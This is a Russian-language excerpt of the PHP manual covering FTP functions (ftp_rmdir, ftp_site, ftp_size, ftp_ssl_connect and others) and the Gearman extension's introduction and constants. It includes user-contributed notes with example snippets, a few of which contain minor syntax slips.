An FTP\Connection instance.

directory

Имя директории. Параметр должен содержать относительный или абсолютный путь к пустой директории.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_rmdir()

<?php

$dir = 'www/';

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// попытка удаления директории $dir
if (ftp_rmdir($ftp, $dir)) {
echo "Директория $dir удалена\n";
} else {
echo "Не удалось удалить директорию $dir\n";
}

ftp_close($ftp);

?>

Смотрите также

  • ftp_mkdir() - Создаёт директорию

User Contributed Notes

johan dot kerreneur at gmail dot com 26-Apr-2020 03:34
ftp_rmdir() delete only empty folders...

if you want to delete the entire contents of a folder try its.

Exemple...

<?php
$ftp_server = "YourIP";
$ftp_user_name = "YourUsername";
$ftp_user_pass = "YourPassword";

// Connection
echo "Connecting to $ftp_server";
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

//Enable PASV ( Note: must be done after ftp_login() )
ftp_pasv($conn_id, true);

// check connection
if((!$conn_id) || (!$login_result)){
    die("FTP connection has failed !");
}
echo "<br/>Login Ok.";

// Function to delete an entire folder
function ftp_rrmdir($conn_id, $directory){
    $lists = ftp_mlsd($conn_id, $directory);
    unset($lists[0]);
    unset($lists[1]);

    foreach($lists as $list){
        $full = $directory . '/' . $list['name'];

        if($list['type'] == 'dir'){
            ftp_rrmdir($conn_id, $full);
        }else{
            ftp_delete($conn_id, $full);
        }
    }

    ftp_rmdir($conn_id, $directory);
    return true;
}

//Now run ftp_rrmdir()
if(ftp_rrmdir($conn_id, 'YOUR/PATH/')){
    echo = "Folder deleted !";
}

//close
ftp_close($conn_id);

?>
karl AT karlgroves.com 12-Aug-2011 05:18
Please note that this function, like rmdir, requires that the directory be empty.


Устанавливает параметры соединения с FTP-сервером

  • « ftp_rmdir
  • ftp_site »
  • PHP Manual
  • Функции FTP
  • Устанавливает параметры соединения с FTP-сервером

ftp_set_option

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_set_option — Устанавливает параметры соединения с FTP-сервером

Описание

ftp_set_option(FTP\Connection $ftp, int $option, int|bool $value): bool

Эта функция устанавливает параметры соединения с FTP-сервером.

Список параметров

ftp

An FTP\Connection instance.

option

В настоящее время поддерживаются следующие параметры:

Поддерживаемые параметры
FTP_TIMEOUT_SEC | Устанавливает время ожидания сетевых операций, в секундах. Аргумент value должен быть целым, больше 0. По умолчанию время ожидания равно 90 секундам.
FTP_AUTOSEEK | При установке этого параметра перед выполнением запросов GET или PUT с параметром resumepos или startpos указатель файла будет установлен на запрошенную позицию. Этот параметр установлен по умолчанию.
FTP_USEPASVADDRESS | Если отключено, то PHP будет игнорировать IP-адрес, возвращённый сервером в ответ на команду PASV и вместо него будет использовать IP-адрес, переданный в ftp_connect(). Параметр value должен содержать логическое значение.

value

Назначение этого аргумента зависит от значения параметра option.

Возвращаемые значения

Возвращает true если параметр был установлен; false в противном случае. Если значение аргумента option не поддерживается или значение аргумента value не соответствует значению аргумента option, будет выведено предупреждение.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_set_option()

<?php
// установка времени ожидания в 10 секунд
ftp_set_option($ftp, FTP_TIMEOUT_SEC, 10);
?>

Смотрите также

  • ftp_get_option() - Получает текущие параметры FTP-соединения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет серверу команду SITE

  • « ftp_set_option
  • ftp_size »
  • PHP Manual
  • Функции FTP
  • Отправляет серверу команду SITE

ftp_site

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_site — Отправляет серверу команду SITE

Описание

ftp_site(FTP\Connection $ftp, string $command): bool

ftp_site() отправляет указанную команду SITE FTP-серверу.

Команды SITE не стандартизированы и зависят от FTP-сервера. Они могут быть полезны для изменения прав доступа к файлам или смены владельца или группы.

Список параметров

ftp

An FTP\Connection instance.

command

Команда SITE. Обратите внимание, что этот параметр не проходит экранирование спецсимволов, так что могут возникнуть проблемы с именами, содержащими пробелы и прочие подобные символы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Отправка команды SITE FTP-серверу

<?php
// Соединение с FTP-сервером
$ftp = ftp_connect('ftp.example.com');
if (!$conn) die('Не удалось подключиться к ftp.example.com');

// Вход под именем "user" с паролем "pass"
if (!ftp_login($ftp, 'user', 'pass')) die('Не удалось войти на ftp.example.com');

// Отправка "SITE CHMOD 0600 /home/user/privatefile" FTP-серверу
if (ftp_site($ftp, 'CHMOD 0600 /home/user/privatefile')) {
echo "Команда выполнена.\n";
} else {
die('Команда не выполнена.');
}
?>

Смотрите также

  • ftp_raw() - Отправляет произвольную команду FTP-серверу

User Contributed Notes

www.bossftp.com 05-Nov-2008 06:30
To send a SITE command and get the result, you can try this:

<?php
function ftpsite($conn, $cmd) {
    return ftp_raw($conn, "SITE $cmd");
}
?>
Marc 05-Aug-2003 07:02
Use ftp_raw() (PHP 5+) instead of ftp_site() if you need the results of the remote command.
webmaster at beezm dot net 17-Jun-2003 11:52
I wrote some functions for an ftp server for windows called GuildFTPd.

Here they are, they are pretty much so self explanitory:
<?
function guildftpd_adduser($ftp_stream,$group,$username,$password){
    ftp_site($ftp_stream,"SITE ADDUSER $group $username $password");
}
function guildftpd_addgroup($ftp_stream,$groupname){
    ftp_site($ftp_stream,"SITE ADDGROUP $groupname");
}
function guildftpd_deluser($ftp_stream,$username){
    ftp_site($ftp_stream,"SITE DELUSER $username");
}
function guildftpd_addpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE ADDPATH $username $path $vpath");
}
function guildftpd_delpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE DELPATH $username $path $vpath");
}
function guildftpd_anon($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON ALLOW");
}
function guildftpd_anond($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON DENY");
}
function guildftpd_chpass($ftp_stream,$user,$pass){
    ftp_site($ftp_stream,"SITE CHPASS $user $pass");
}
function guildftpd_disable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE DISABLE $user");
}
function guildftpd_enable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE ENABLE $user");
}
function guildftpd_who($ftp_stream){
    $who = ftp_site($ftp_stream,"SITE WHO");
}
function guildftpd_kick($ftp_stream,$user);
    ftp_site($ftp_stream,"SITE KICK $user");
}
function guildftpd_msg($ftp_stream,$text);
    ftp_site($ftp_stream,"SITE MSG $text");
}
?>
to at mail dot isec dot pt 21-Nov-2002 05:20
Hya,
  Recently I had to work with FTP over PHP, since I didn't found any help about this topic I decided to post this here. If you need to chmod one file, I tested this on the ftp server using a ftp client and after I knew that the ftp server supported chmod I used the following commands:
$upload = ftp_put($conn_id, "/home/to/public_html/index.php", $source_file, FTP_ASCII);
$ch=@ftp_site($conn_id,"chmod 755 /home/to/public_html/index.php");

Hope this help!

T?
daemorhedron 17-Nov-2002 05:32
I'd like to follow up with Ivan's observation there. Unless I am missing the obvious, which is entirely possible of course, this command is quite useless unless it returns the data from the SITE <foo> request.

Besides the obvious SITE HELP command, another one that would require catching the feedback would be the SITE LOCATE | SITE SEARCH commands. I completely recognize that SITE <foo> commands are indeed insanely proprietary, but the fact still remains that changing this to return the results, or at least having the option to do so (such as exec() and the like) would be vastly preferred to the current method of returning true/false values.

Thanks.
29-Jun-2001 09:36
site commands are extra-functionality provided by some ftp servers, and depend on the server :
e.g. trying "ftp> site help" (with an interactive ftp client) on a proftp server would give :

214-The following SITE extensions are recognized:
 RATIO -- show all ratios in effect
 The following SITE commands are recognized (* =>'s unimplemented).
 HELP    CHMOD
214 Direct comments to admin@ftp.blahblah.fr

while with wu-ftpd on can typically get :

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK           GROUP           INDEX           GROUPS
   IDLE            GPASS           EXEC            CHECKMETHOD
   CHMOD           NEWER           ALIAS           CHECKSUM
   HELP            MINFO           CDPATH
214 blabla

Unfortunately, ftp_site only returns true or false. It would be nice to have a way to get the server's reply in full : ftp_site('help') return 1, which pretty much useless.

Hope that helps,

Ivan


Возвращает размер указанного файла

  • « ftp_site
  • ftp_ssl_connect »
  • PHP Manual
  • Функции FTP
  • Возвращает размер указанного файла

ftp_size

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_size — Возвращает размер указанного файла

Описание

ftp_size(FTP\Connection $ftp, string $filename): int

ftp_size() возвращает размер заданного файла в байтах.

Замечание:

Не все FTP-серверы поддерживают эту возможность.

Список параметров

ftp

An FTP\Connection instance.

filename

Имя файла на сервере.

Возвращаемые значения

Возвращает размер файла или -1 при возникновении ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_size()

<?php

$file = 'somefile.txt';

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// получение размера файла $file
$res = ftp_size($ftp, $file);

if ($res != -1) {
echo "Размер файла $file: $res байт";
} else {
echo "Не удалось определить размер файла $file";
}

// закрытие соединения
ftp_close($ftp);

?>

Смотрите также

  • ftp_rawlist() - Возвращает подробный список файлов в заданной директории

User Contributed Notes

gerben at gerbs dot net 22-Jun-2012 07:25
To overcome the 2 GB limitation, the ftp_raw solution below is probably the nicest. You can also perform this command using regular FTP commands:

<?php
$response =  ftp_raw($ftpConnection, "SIZE $filename");
$filesize = floatval(str_replace('213 ', '', $response[0]));
?>

[However, this] is insufficient for use on directories. As per RFC 3659 (http://tools.ietf.org/html/rfc3659#section-4.2), servers should return error 550 (File not found) if the command is issued on something else than a file, or if some other error occurred. For example, Filezilla indeed returns this string when using the ftp_raw command on a directory:

array(1) {
  [0]=>
  string(18) "550 File not found"
}

RFC 959 (http://tools.ietf.org/html/rfc959) dictates that the returned string always consists of exactly 3 digits, followed by 1 space, followed by some text. (Multi-line text is allowed, but I am ignoring that.) So it is probably better to split the string with substr, or even a regular expression.

<?php
$response = ftp_raw($ftp, "SIZE $filename");
$responseCode = substr($response[0], 0, 3);
$responseMessage = substr($response[0], 4);
?>

Or with a regular expression:

<?php
$response = ftp_raw($ftp, "SIZE $filename");
if (preg_match("/^(\\d{3}) (.*)$/", $response[0], $matches) == 0)
    throw new Exception("Unable to parse FTP reply: ".$response[0]);
list($response, $responseCode, $responseMessage) = $matches;
?>

You could then decide to assume that response code '550' means that it's a directory. I guess that's just as 'dangerous' as assuming that ftp_size -1 means that it's a directory.
ibeono at gmail dot com 28-Jul-2011 04:19
If you experience troubles with size of large file then you can use ftp_rawlist function and parse it result
bluerain [at] telenet [dot] be 10-Jul-2009 01:41
To overcome the 2GB file size limit, you can open your own socket to get the file size of a large file. Quick and dirty script:

<?php
$socket=fsockopen($hostName, 21);
$t=fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t=fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t=fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t=fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
?>
miccots at gmail dot com 30-Oct-2007 01:55
2 adams[AT]techweavers[DOT]net:
To get a size of large file (f. ex.: 3.2 Gb) you have to format the result returned by ftp_size():

$size = sprintf ("%u", ftp_size($connection, $file_name));

So you can get the real size of big files. But this method is not good for checking is this a dir (when ftp_size() returns -1).
C_Muller 21-Jul-2007 03:42
For checking if a certain folder exists try using ftp_nlist() function to get a directory list in array. By using in_array('foldername') you can find out if it is there or not.
chuck at t8design dot com 23-May-2006 09:54
note that project_t4 at hotmail dot com's example above doesn't work in general, though it works on his Win2K/Apache server; as far as I can tell there is no way to check over ftp whether a directory exists.  This function's behavior given a directory name seems to be at least somewhat dependent on your OS, web server, or ftp server, I don't know which.
adams[AT]techweavers[DOT]net 21-Jun-2005 02:30
Well this function is nice but if you have files larger then 2.1Gb or 2.1 Billion Bytes you cannot get its size.
28-Sep-2004 06:10
To get a dirsize recursive you can use this simple function:

<?php # copyright by fackelkind | codeMaster
    function getRecDirSize ($connection, $dir){
        $temp = ftp_rawlist ($connection, "-alR $dir");
        foreach ($temp as $file){
            if (ereg ("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)){
                $isdir = (substr ($regs[1],0,1) == "d");
                if (!$isdir)
                    $size += $regs[5];
            }
        }
        return $size;
    }
    $dirSize = getRecDirSize ($conID, "/");
?>
project_t4 at hotmail dot com 18-Mar-2004 11:03
Just to let people out there know, on my windows 2000 server running Apache and php i was returned 0 not -1 for directories.

foreach ($dir_list as $item)
    {
      if(ftp_size($conn_id, $item) == "0")
      {
      echo "<br>Directory:: ".$item;
      } else {
      echo "<br>File:: ".$item;
      }
    }

This outputs a list of the remote directory and indicates which items are directories and which are files.
nicke_ at at_h9k dot com 03-Oct-2003 06:48
This will return the filesize on remote host and the size if you download it in FTP_BINARY mode. If you are using FTP_ASCII in ftp_get() the size can be changed.
victor59 at yahoo dot com dot hk 23-Dec-2002 01:44
$file= 'filename with space.txt';
$size = ftp_size($this->ftp, urldecode($file) );

this one can correctly return the size
otherwize, it always return -1


Устанавливает соединение с FTP-сервером через SSL

  • « ftp_size
  • ftp_systype »
  • PHP Manual
  • Функции FTP
  • Устанавливает соединение с FTP-сервером через SSL

ftp_ssl_connect

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_ssl_connect — Устанавливает соединение с FTP-сервером через SSL

Описание

ftp_ssl_connect(string $hostname, int $port = 21, int $timeout = 90): FTP\Connection|false

ftp_ssl_connect() устанавливает явное SSL соединение с FTP-сервером, заданным аргументом hostname. Это означает, что ftp_ssl_connect() будет успешным даже если сервер не настроен для SSL-FTP, или его сертификат недействителен. Только когда будет вызвана функция ftp_login(), клиент пошлёт необходимую команду AUTH FTP, так что в указанных случаях ftp_login() завершится ошибкой.

Замечание: Почему эта функция может быть не определена

До PHP 7.0.0 ftp_ssl_connect() была доступна только если PHP был собран с поддержкой OpenSSL; это означает, что в Windows эта функция не была определена в официальных сборках PHP. Чтобы использовать эту функцию под Windows, вам придётся собрать PHP самостоятельно для включения поддержки OpenSSL.

Замечание:

ftp_ssl_connect() не предназначена для использования по протоколу sFTP. Для использования sFTP из PHP смотрите функцию ssh2_sftp().

Список параметров

hostname

Адрес FTP-сервера. Этот параметр не должен содержать слеши в конце и префикс ftp:// в начале.

port

Задаёт порт, на котором устанавливается соединение. Если равен нулю или опущен, по умолчанию используется стандартный для протокола FTP - порт 21.

timeout

Задаёт время ожидания для всех операций с этим соединением. По умолчанию время ожидания устанавливается в 90 секунд. Получить и установить значение времени ожидания можно также с помощью функций ftp_set_option() и ftp_get_option().

Возвращаемые значения

Возвращает FTP\Connection в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр FTP\Connection; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования функции ftp_ssl_connect()

<?php

// установка ssl-соединения
$ftp = ftp_ssl_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

if (!$login_result) {
// В этом случае PHP уже выбросил сообщение уровня E_WARNING
die("can't login");
}

echo ftp_pwd($ftp); // /

// закрытие ssl-соединения
ftp_close($ftp);
?>

Смотрите также

  • ftp_connect() - Устанавливает соединение с FTP-сервером

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип операционной системы FTP-сервера

  • « ftp_ssl_connect
  • FTP\Connection »
  • PHP Manual
  • Функции FTP
  • Возвращает тип операционной системы FTP-сервера

ftp_systype

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_systype — Возвращает тип операционной системы FTP-сервера

Описание

ftp_systype(FTP\Connection $ftp): string|false

Возвращает тип операционной системы FTP-сервера.

Список параметров

ftp

An FTP\Connection instance.

Возвращаемые значения

Возвращает тип операционной системы FTP-сервера или false при возникновении ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_systype()

<?php

// установка соединения
$ftp = ftp_connect('ftp.example.com');
ftp_login($ftp, 'user', 'password');

// получение типа системы
if ($type = ftp_systype($ftp)) {
echo "example.com использует $type\n";
} else {
echo "Не удалось определить тип системы";
}

?>

Результатом выполнения данного примера будет что-то подобное:

example.com использует UNIX

User Contributed Notes

Buckwheat469 at hotmail dot com 26-Jul-2006 09:41
ftp_systype can be a good way of checking the state of a connection, since PHP doesn't have a better system to check the state of an ftp connection (is_connected would be nice).

if (!($type = ftp_systype($conn_id))) {
    echo "FTP connection has failed! Trying again.\n";
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user, $ftp_pass);
}


Класс FTP\Connection

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс ftp в PHP 8.1.0.

Обзор классов

final class FTP\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


Gearman

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
    • Базовый клиент и обработчик Gearman, фоновый режим
    • Базовые клиент и обработчик Gearman, отправка задач
  • GearmanClient — Класс GearmanClient
    • GearmanClient::addOptions — Добавить клиентские опции
    • GearmanClient::addServer — Добавить сервер задач для клиента
    • GearmanClient::addServers — Добавить список серверов задач для клиента
    • GearmanClient::addTask — Добавить задачу, которая будет выполнена в параллельном режиме
    • GearmanClient::addTaskBackground — Добавить фоновую задачу для работы в параллельном режиме
    • GearmanClient::addTaskHigh — Добавить высокоприоритетную задачу для работы в параллельном режиме
    • GearmanClient::addTaskHighBackground — Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
    • GearmanClient::addTaskLow — Добавить низкоприоритетную задачу для работы в параллельном режиме
    • GearmanClient::addTaskLowBackground — Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
    • GearmanClient::addTaskStatus — Добавить задачу для получения статуса
    • GearmanClient::clearCallbacks — Очистить все функции обратного вызова данной задачи
    • GearmanClient::clone — Создать копию объекта GearmanClient
    • GearmanClient::__construct — Создать экземпляр GearmanClient
    • GearmanClient::context — Возвращает контекст приложения
    • GearmanClient::data — Возвращает данные приложения (функция устарела)
    • GearmanClient::do — Выполняет одну задачу и возвращает результат [Устаревший метод]
    • GearmanClient::doBackground — Запускает выполнение задачи в фоновом режиме
    • GearmanClient::doHigh — Запускает на выполнение задачу с высоким приоритетом
    • GearmanClient::doHighBackground — Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
    • GearmanClient::doJobHandle — Получить дескриптор выполняющейся задачи
    • GearmanClient::doLow — Запускает на выполнение задачу с низким приоритетом
    • GearmanClient::doLowBackground — Запускает на выполнение с низким приоритетом задачу в фоновом режиме
    • GearmanClient::doNormal — Выполняет одиночное задание и возвращает результат
    • GearmanClient::doStatus — Получение статуса выполняющейся задачи
    • GearmanClient::echo — Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]
    • GearmanClient::error — Вернуть строку ошибки для последней обнаруженной ошибки
    • GearmanClient::getErrno — Получить значение errno
    • GearmanClient::jobStatus — Получение статуса выполнения фонового задания
    • GearmanClient::ping — Отправляет данные на все серверы, чтобы проверить, какие из них выведут эти данные
    • GearmanClient::removeOptions — Удалить клиентские опции
    • GearmanClient::returnCode — Получить последний код возврата Gearman
    • GearmanClient::runTasks — Запустить список задач в параллельном режиме
    • GearmanClient::setClientCallback — Установить функцию обратного вызова, когда есть пакет данных для задачи (устаревший метод)
    • GearmanClient::setCompleteCallback — Установите функцию, которая будет вызвана по завершении задачи
    • GearmanClient::setContext — Установить контекст приложения
    • GearmanClient::setCreatedCallback — Установить функцию обратного вызова, когда задача ставится в очередь
    • GearmanClient::setData — Установить данные приложения (устаревший метод)
    • GearmanClient::setDataCallback — Задаёт callback-функцию для обработки переданных данных
    • GearmanClient::setExceptionCallback — Установка функции обратного вызова для перехвата исключений обработчика заданий
    • GearmanClient::setFailCallback — Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
    • GearmanClient::setOptions — Установка настроек клиента
    • GearmanClient::setStatusCallback — Задание callback-функции, собирающей информацию о состоянии обработчика заданий
    • GearmanClient::setTimeout — Установка времени ожидания для операций ввода/вывода
    • GearmanClient::setWarningCallback — Установка callback-функции, обслуживающей предупреждения обработчика заданий
    • GearmanClient::setWorkloadCallback — Установка callback-функции, принимающей промежуточные результаты от обработчика заданий
    • GearmanClient::timeout — Получение значения времени ожидания операций ввода/вывода
    • GearmanClient::wait — Ожидает активности ввода-вывода для всех подключений на клиенте
  • GearmanJob — Класс GearmanJob
    • GearmanJob::complete — Отправка результата и статуса завершения (устаревший метод)
    • GearmanJob::__construct — Создание объекта GearmanJob
    • GearmanJob::data — Отправка данных (устаревший метод)
    • GearmanJob::exception — Отправка исключения (устаревший метод)
    • GearmanJob::fail — Отправка статуса неудачной операции (устаревший метод)
    • GearmanJob::functionName — Получение имени функции
    • GearmanJob::handle — Получение дескриптора объекта задания
    • GearmanJob::returnCode — Получение последнего кода возврата
    • GearmanJob::sendComplete — Отправка результата и статуса завершения
    • GearmanJob::sendData — Отправка данных выполняющемуся заданию
    • GearmanJob::sendException — Отправка исключения выполняющемуся заданию
    • GearmanJob::sendFail — Отправка статуса неудачной операции
    • GearmanJob::sendStatus — Отправка статуса
    • GearmanJob::sendWarning — Отправка предупреждения
    • GearmanJob::setReturn — Установка возвращаемого значения
    • GearmanJob::status — Отправка статуса задания (устаревший метод)
    • GearmanJob::unique — Получение уникального идентификатора
    • GearmanJob::warning — Отправка предупреждения (устаревший метод)
    • GearmanJob::workload — Получение данных для обработки
    • GearmanJob::workloadSize — Получение размера обрабатываемых данных
  • GearmanTask — Класс GearmanTask
    • GearmanTask::__construct — Создаёт объект GearmanTask
    • GearmanTask::create — Создаёт задачу (устаревший метод)
    • GearmanTask::data — Получить данные, возвращённые для задачи
    • GearmanTask::dataSize — Получить размер возвращаемых данных
    • GearmanTask::function — Получить имя связанной функции (устаревший метод)
    • GearmanTask::functionName — Получить имя функции
    • GearmanTask::isKnown — Определение, известно ли серверу об этой задачи
    • GearmanTask::isRunning — Проверяет, выполняется ли задача в данный момент
    • GearmanTask::jobHandle — Получить дескриптор задания
    • GearmanTask::recvData — Чтение данных работы или результата задачи в буфер
    • GearmanTask::returnCode — Получить последний код возврата
    • GearmanTask::sendData — Отправка данных задачи (устаревший метод)
    • GearmanTask::sendWorkload — Отправка данных задачи
    • GearmanTask::taskDenominator — Получить знаменатель процента выполненной работы
    • GearmanTask::taskNumerator — Получение числителя процента выполненной работы
    • GearmanTask::unique — Получение уникального идентификатора задачи
    • GearmanTask::uuid — Получение уникального идентификатора задачи (устаревший метод)
  • GearmanWorker — Класс GearmanWorker
    • GearmanWorker::addFunction — Регистрация и добавление callback-функции
    • GearmanWorker::addOptions — Добавление настроек обработчика
    • GearmanWorker::addServer — Добавление сервера заданий
    • GearmanWorker::addServers — Добавление серверов заданий
    • GearmanWorker::clone — Создание копии обработчика
    • GearmanWorker::__construct — Создание объекта GearmanWorker
    • GearmanWorker::echo — Проверка отклика серверов заданий
    • GearmanWorker::error — Получение последней обнаруженной ошибки
    • GearmanWorker::getErrno — Получение номера ошибки
    • GearmanWorker::options — Получение настроек обработчика
    • GearmanWorker::register — Регистрация функции на сервере заданий
    • GearmanWorker::removeOptions — Удаление настроек обработчика
    • GearmanWorker::returnCode — Получение последнего кода возврата Gearman
    • GearmanWorker::setId — Назначает обработчику идентификатор, чтобы в дальнейшем иметь возможность опросить все доступные обработчики
    • GearmanWorker::setOptions — Установка настроек обработчика
    • GearmanWorker::setTimeout — Задание времени ожидания ввода/вывода на сокете
    • GearmanWorker::timeout — Получение значения время ожидания запросов на сокете
    • GearmanWorker::unregister — Удалить регистрацию имени функции на всех серверах заданий
    • GearmanWorker::unregisterAll — Удаление регистрации всех имён функций на серверах заданий
    • GearmanWorker::wait — Ожидание запроса с одного из сервера задач
    • GearmanWorker::work — Ожидание и выполнение заданий
  • GearmanException — Класс GearmanException

User Contributed Notes

Anonymous 24-Apr-2013 10:54
For my previous comment:

this line:
<?php
$worker->addFunction(new MyClass($test), 'myMethod');
?>

change to:

<?php
$worker->addFunction($taskName, array(new MyClass(), 'myMethod'));
?>
spacewalker2002 at ukr dot net 23-Apr-2013 11:34
You can use this syntax:

<?php
   $worker = new GearmanWorker();
   $worker->addServer();
   $worker->addFunction(new MyClass($test), 'myMethod');

class MyClass
{
   public function __construct($test)
   {
       $this->test = $test;
   }

   public function myMethod(GearmanJob $job)
   {
      // you can access to $this->test;
   }
}
jon dot skarpeteig at gmail dot com 29-Aug-2012 08:26
Unfortunately there's no manager in the pecl extension. If you want to make use of admin features, check out: http://pear.php.net/package/Net_Gearman which implements the administrative protocol in Manager.php as defined in: http://gearman.org/?id=protocol


Введение

» Gearman - это универсальный фреймворк разработки приложений для раздачи работ множеству машин или процессов. Это позволяет приложениям выполнять задачи параллельно, распределяя нагрузку и использовать функции различных языков. Фреймворк может использоваться во множестве приложений, от высоконадёжных веб-сайтов до транспорта событий репликации базы данных.

Этот модуль предоставляет классы для написания клиентов и обработчиков Gearman.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Этот модуль требует библиотеки » libgearman, » libevent и » uuid и запущенного Gearman сервера.

User Contributed Notes

sharkyan1982 at gmail dot com 22-Oct-2012 09:16
When deployment on CentOS_5.8_x64 , you need the following:
1. gcc44
2. boost >=1.39
3. libevent
4. php5.3+
5. update ld.so.conf
Before you start the gearman_1.1.1+.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/gearman

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Возвращаемые значения. Всегда проверяйте значение GearmanClient::error() или GearmanWorker(), содержащее строку с описанием ошибки, так как в этой строке может содержаться более детальная информация о последней операции:

GEARMAN_SUCCESS (int)
Операция была завершена успешно.
GEARMAN_IO_WAIT (int)
В режиме без блокировок событие ожидает установку блокировки.
GEARMAN_ERRNO (int)
Системная ошибка. Чтобы получить код ошибки, воспользуйтесь функцией GearmanClient::errno() или GearmanWorker::errno().
GEARMAN_NO_ACTIVE_FDS (int)
На момент вызова GearmanClient::wait() или GearmanWorker() не было активных подключений.
GEARMAN_UNEXPECTED_PACKET (int)
Означает, что что-то пошло совсем не так, как должно было. Применимо только к GearmanWorker.
GEARMAN_GETADDRINFO (int)
Неудачная операция разрешения имён DNS (неверный порт, хост и т.п.).
GEARMAN_NO_SERVERS (int)
Перед отправкой задания или задачи не был вызван метод GearmanClient::addServer().
GEARMAN_LOST_CONNECTION (int)
Во время обработки запроса прервалось соединение.
GEARMAN_MEMORY_ALLOCATION_FAILURE (int)
Не удалось выделить память (недостаточно памяти).
GEARMAN_SERVER_ERROR (int)
На сервере Gearman произошёл сбой, и сервер не смог обработать запрос.
GEARMAN_WORK_DATA (int)
Код возврата уведомления, который можно получить методом GearmanClient::returnCode() во время работы GearmanClient::do(). Выполняющий задание обработчик (worker) посылает этот код, когда ему требуется обновить данные на клиенте, передать часть результатов работы или сбросить данные во время выполнения долгих заданий.
GEARMAN_WORK_WARNING (int)
Код возврата уведомления, который можно получить методом GearmanClient::returnCode() во время работы GearmanClient::do(). Обновляет клиент с отправкой предупреждением. Поведение те же, что и в случае GEARMAN_WORK_DATA, однако этот код следует интерпретировать как предупреждение вместо обычных данных ответа.
GEARMAN_WORK_STATUS (int)
Код возврата уведомления, который можно получить методом GearmanClient::returnCode() во время работы GearmanClient::do(). Обработчик задания посылает этот код, чтобы обновить статус долго выполняемого задания. Используйте GearmanClient::doStatus() для получения процента завершения работы.
GEARMAN_WORK_EXCEPTION (int)
Код возврата уведомления, который можно получить методом GearmanClient::returnCode() во время работы GearmanClient::do(). Указывает, что выполнение задания завершилось неудачей с заданным исключением.
GEARMAN_WORK_FAIL (int)
Код возврата уведомления, который можно получить методом GearmanClient::returnCode() во время работы GearmanClient::do(). Указывает, что задание выполнить не удалось.
GEARMAN_COULD_NOT_CONNECT (int)
Не удалось подключиться к серверу.
GEARMAN_INVALID_FUNCTION_NAME (int)
Это значение возвращается при попытке зарегистрировать NULL в качестве имени функции или при использовании callback-интерфейса без указания callback-функций.
GEARMAN_INVALID_WORKER_FUNCTION (int)
Попытка зарегистрировать в обработчике функцию, передавая NULL в качестве callback-функции.
GEARMAN_NO_REGISTERED_FUNCTIONS (int)
Когда обработчик получил задание для функции, которая в нем не зарегистрирована.
GEARMAN_NO_JOBS (int)
Для неблокирующего обработчика, когда GearmanWorker::work() не имеет активных заданий.
